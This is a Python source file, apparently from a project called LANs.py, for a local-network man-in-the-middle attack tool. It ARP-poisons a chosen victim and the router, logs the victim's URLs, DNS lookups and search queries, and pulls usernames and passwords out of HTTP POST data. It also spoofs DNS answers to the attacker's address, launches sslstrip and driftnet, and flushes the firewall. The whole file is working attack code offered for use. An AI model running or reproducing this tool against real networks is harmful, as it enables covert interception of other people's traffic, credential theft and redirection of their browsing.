LANs.py/arpspoof.py

383 lines
13 KiB
Python

#!/usr/bin/python
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
conf.verb=0
#Below is necessary to receive a response to the DHCP packets because we're sending to 255.255.255.255 but receiving from the IP of the DHCP server
conf.checkIPaddr=0
import time
import sys
import threading
import argparse
import sys
import os
import signal
import commands
bash=commands.getoutput
#Check if root
if not os.geteuid()==0:
sys.exit("\nPlease run as root\n")
#Create the arguments
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--urlspy", help="Show all URLs the victim is browsing minus URLs that end in .jpg, .png, .gif, .css, and .js to make the output much friendlier. Also truncates URLs at 150 characters. Use -uv to print all URLs and without truncation.", action="store_true")
parser.add_argument("-d", "--dnsspy", help="Show all DNS resquests the victim makes. This has the advantage of showing HTTPS domains which the -u option will not but does not show the full URL the victim is requesting.", action="store_true")
parser.add_argument("-ip", "--ipaddress", help="Enter IP address of victim and skip the arp ping at the beginning.")
parser.add_argument("-i", "--driftnet", help="Open an xterm window with driftnet.", action="store_true")
parser.add_argument("-ssl", "--sslstrip", help="Open an xterm window with sslstrip and output to sslstrip.txt", action="store_true")
parser.add_argument("-uv", "--verboseURL", help="Shows all URLs the victim visits", action="store_true")
parser.add_argument("-dns", "--dnsspoof", help="Spoof DNS responses of a specific domain. Enter domain after this argument")
parser.add_argument("-p", "--post", help="Print the URL the victim POSTs to, show usernames and passwords in unsecure HTTP POSTs", action="store_true")
parser.add_argument("-s", "--search", help="Print victim's search queries", action="store_true")
args = parser.parse_args()
class colors:
PURPLE = '\033[95m'
BLUE = '\033[94m'
OKGREEN = '\033[92m'
TAN = '\033[93m'
RED = '\033[91m'
ENDC = '\033[0m'
def disable(self):
self.HEADER = ''
self.OKBLUE = ''
self.OKGREEN = ''
self.TAN = ''
self.RED = ''
self.ENDC = ''
#Find the gateway and use it as the router's info
ipr = bash('ip route')
routerRE = re.search('default via ((\d{2,3}\.\d{1,3}\.\d{1,4}\.)\d{1,3}) \w+ (\w[a-zA-Z0-9]\w[a-zA-Z0-9][0-9]?)', ipr)
routerIP = routerRE.group(1)
IPprefix = routerRE.group(2)
interface = routerRE.group(3)
localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]
localMAC = get_if_hwaddr(interface)
print "Checking the DHCP and DNS server addresses...\n"
dhcp = (Ether(dst='ff:ff:ff:ff:ff:ff')/
IP(src="0.0.0.0",dst="255.255.255.255")/
UDP(sport=68,dport=67)/
BOOTP(chaddr='E3:2E:F4:DD:8R:9A')/
DHCP(options=[("message-type","discover"),
("param_req_list",
chr(DHCPRevOptions["router"][0]),
chr(DHCPRevOptions["domain"][0]),
chr(DHCPRevOptions["server_id"][0]),
chr(DHCPRevOptions["name_server"][0]),
), "end"]))
ans, unans = srp(dhcp, timeout=5, retry=1)
if ans:
for s,r in ans:
DHCPopt = r[0][DHCP].options
DHCPsrvr = r[0][IP].src
for idx,x in enumerate(DHCPopt):
if 'domain' in x:
localDomain = DHCPopt[idx][1]
else:
localDomain = 'None'
if 'name_server' in x:
DNSsrvr = DHCPopt[idx][1]
else:
print "No answer to DHCP packet sent to find the DNS server. Setting DNS and DHCP server to router IP.\n"
DNSsrvr = routerIP
DHCPsrvr = routerIP
localDomain = 'None'
if args.ipaddress:
victimIP = args.ipaddress
else:
ans,unans = arping(IPprefix+'*')
for s,r in ans:
ips = r.sprintf("%ARP.hwsrc% %ARP.psrc%")
print ips
victimIP = raw_input('\nType victim\'s IP: ')
print ''
print "[+] Active interface: " + interface
print "[+] Local IP: " + localIP
print "[+] Interface MAC: " + localMAC
print "[+] DHCP server: " + DHCPsrvr
print "[+] DNS server: " + DNSsrvr
print "[+] Local domain: " + localDomain
print "[+] Router IP: " + routerIP
print "[+] Client IP: " + victimIP
def originalMAC(ip):
# srp is for layer 2 packets with Ether layer, sr is for layer 3 packets like ARP and IP
ans,unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
for s,r in ans:
return r.sprintf("%Ether.src%")
def poison(routerIP, victimIP):
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff"))
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff"))
def restore(routerIP, victimIP, routerMAC, victimMAC):
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3)
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
def URL(pkt):
global host, get, post, url
if pkt.haslayer(Raw) and pkt[Ether].src == victimMAC:
pkt = repr(pkt[Raw].load)
try:
headers, body = pkt.split(r"\r\n\r\n")
except:
headers = pkt
body = ''
headLines = headers.split(r"\r\n")
for l in headLines:
searchHost = re.search('[Hh]ost: ', l)
searchGet = re.search('GET /', l)
searchPost = re.search('POST /', l)
if searchHost:
host = l.split(' ')
host = host[1]
if searchGet:
get = l.split(' ')
get = get[1]
if searchPost:
post = l.split(' ')
post = post[1]
if args.post and len(pkt) < 450:
if body != '':
username = re.findall('(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', body)
password = re.findall('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', body)
if username != [] or password != []:
print colors.TAN+'[+] Packet may\'ve been split. Load data:',body+colors.ENDC
for x in username:
for u in x:
if '=' in u:
print colors.RED+u+colors.ENDC
for y in password:
for p in y:
if '=' in p:
print colors.RED+p+colors.ENDC
if not get:
username = re.findall('(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', headers)
password = re.findall('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', headers)
if username != [] or password != []:
print colors.TAN+'[+] Packet may\'ve been split. Load data:',headers+colors.ENDC
for x in username:
for u in x:
if '=' in u:
print colors.RED+u+colors.ENDC
for y in password:
for p in y:
if '=' in p:
print colors.RED+p+colors.ENDC
# username = re.finditer('(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', headers)
# password = re.finditer('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', headers)
# for u in username:
# if u:
# print colors.TAN+'[+] Packet was split. Data:',headers+colors.ENDC
# print colors.RED+u.group()+colors.ENDC
# counter = 1
# for p in password:
# if p:
# if counter == 0:
# print colors.TAN+'[+] Packet was split. Data:', headers+colors.ENDC
# print colors.RED+p.group()+colors.ENDC
# if body != '':
# username = re.finditer('(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', body)
# password = re.finditer('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', body)
# for u in username:
# if u:
# print colors.TAN+'[+] Packet was split. Data:',headers+colors.ENDC
# print colors.RED+u.group()+colors.ENDC
# counter = 1
# for p in password:
# if p:
# if counter == 0:
# print colors.TAN+'[+] Packet was split. Data:', headers+colors.ENDC
# print colors.RED+p.group()+colors.ENDC
# counter = 0
if host and get:
url = host+get
if host and post:
url = host+post
if url == None:
return
# b = a[0].split(" ")
# c = a[1].split(" ")
# url = c[1]+b[1]
# post = re.search('POST /', headers)
# get = re.search('GET /', headers)
# getRe = re.compile('GET /')
# get = getRe.search(headers)
# hostRe = re.compile('[Hh]ost: ')
# host = hostRe.search(headers)
# host = re.search('[Hh]ost: ', headers)
#The big unsolvable problem is that sometimes sniff() will get a packet (usually from the arp spoofed victim)
#and split it into 2 packets when wireshark sees only one. Consistently from neopets via arpspoof victim. The load
#gets truncated and sniff() then treats the other few lines of the HTTP load as a new packet for some reason.
#http://bpaste.net/show/v2CsP4Ixzb7NGGuutDSp/
if args.post and post:
if body != '':
print colors.TAN+'[+] POST:',url,'HTTP POST load:',body+colors.ENDC
username = re.findall('(([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og)=([^&][^&]*))', body)
password = re.findall('(([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp]assw)=([^&][^&]*))', body)
for x in username:
for u in x:
if '=' in u:
print colors.RED+u+colors.ENDC
for y in password:
for p in y:
if '=' in p:
print colors.RED+p+colors.ENDC
if args.urlspy:
d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js']
if any(i in url for i in d):
return
if len(url) > 150:
print url[:149]
else:
print url
if args.verboseURL:
print url
if args.search:
searched = re.search('((search|query|search\?q|\?s|&q|\?q|search\?p|keywords)=([^&][^&]*))', url)
if searched:
searched = searched.group(3)
searched = searched.replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'').replace('%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=').replace('%22', '\"').replace('%24', '$')
print colors.BLUE + '[+] Searched %s for:' % host,searched + colors.ENDC
host = None
get = None
post = None
url = None
#def search(url):
# searched = re.search('((search|query|search\?q|\?s|&q)=([^&][^&]*))', url)
# if searched:
# searched = searched.group(3)
# searched = searched.replace('+', ' ').replace('%20', ' ').replace('%3F', '?').replace('%27', '\'').replace('%40', '@').replace('%24', '$').replace('%3A', ':').replace('%3D', '=')
# print colors.BLUE + '[+] Searched %s for:' % c[1],searched + colors.ENDC
def DNSreq(pkt):
if pkt.haslayer(DNSQR):
dnsreq = pkt[DNSQR].qname
print dnsreq
def mkspoof(DNSpkt):
ip=DNSpkt[IP]
dnsLayer=DNSpkt[DNS]
# qr = query or response (0,1), aa=are the nameservers authoritative? (0,1), ad=authenticated data (0,1)
p = IP(dst=ip.src, src=ip.dst)/UDP(dport=ip.sport, sport=ip.dport)/DNS(id=dnsLayer.id, qr=1, aa=1, qd=dnsLayer.qd, an=DNSRR(rrname=dnsLayer.qd.qname, ttl=10, rdata=localIP))
return p
class urlspy(threading.Thread):
def run(self):
# This is in case you need to test the program without an actual victim
# sniff(store=0, filter='port 80', prn=URL, iface=interface)
sniff(store=0, filter='port 80 and host %s' % victimIP, prn=URL, iface=interface)
class dnsspy(threading.Thread):
def run(self):
sniff(store=0, filter='port 53 and host %s' % victimIP, prn=DNSreq, iface=interface)
class dnsspoof(threading.Thread):
def run(self):
while 1:
a=sniff(filter='port 53 or port 80 and host %s' % victimIP, count=1, promisc=1)
DNSpkt = a[0]
if not DNSpkt.haslayer(DNSQR):
continue
if args.dnsspoof in DNSpkt.qd.qname:
send(mkspoof(DNSpkt))
print colors.OKGREEN + '[+] Spoofed:', DNSpkt.qd.qname + colors.ENDC
class sslstrip(threading.Thread):
def run(self):
print 'Redirecting traffic to port 10000 and starting sslstrip\n'
ip10000 = bash('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000')
sslstrip = bash('xterm -e sslstrip -f -w sslstrip.txt')
class driftnet(threading.Thread):
def run(self):
driftnet = bash('xterm -e driftnet -i %s' % interface)
try:
routerMAC = originalMAC(routerIP)
print "[+] Router MAC: " + routerMAC
victimMAC = originalMAC(victimIP)
print "[+] Victim MAC: " + victimMAC + "\n"
except:
sys.exit("Could not get MAC addresses")
#Forward packets and flush iptables
ipforward = bash('echo 1 > /proc/sys/net/ipv4/ip_forward')
ipF = bash('iptables -F')
ipNATF = bash('iptables -t nat F')
ipX = bash('iptables -X')
ipNATX = bash('iptables -t nat -X')
print 'Enabled IP forwarding and flushed the firewall\n'
def main():
if args.urlspy or args.verboseURL or args.post or args.search:
ug = urlspy()
#Make sure the thread closes with the main program on Ctrl-C
ug.daemon = True
ug.start()
if args.dnsspy:
dt = dnsspy()
dt.daemon = True
dt.start()
if args.driftnet:
dr = driftnet()
dr.daemon = True
dr.start()
if args.sslstrip:
ssl = sslstrip()
ssl.daemon = True
ssl.start()
if args.dnsspoof:
ds = dnsspoof()
ds.daemon = True
ds.start()
def signal_handler(signal, frame):
print 'learing iptables, sending healing packets, and turning off IP forwarding...'
restore(routerIP, victimIP, routerMAC, victimMAC)
restore(routerIP, victimIP, routerMAC, victimMAC)
ipforwardoff = bash('echo 0 > /proc/sys/net/ipv4/ip_forward')
flush1 = bash('iptables -t nat -F')
flush2 = bash('iptables -F')
flush3 = bash('iptables -X')
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
while 1:
poison(routerIP, victimIP)
if not DNSsrvr == routerIP:
poison(DNSsrvr, victimIP)
time.sleep(1.5)
if __name__ == "__main__":
main()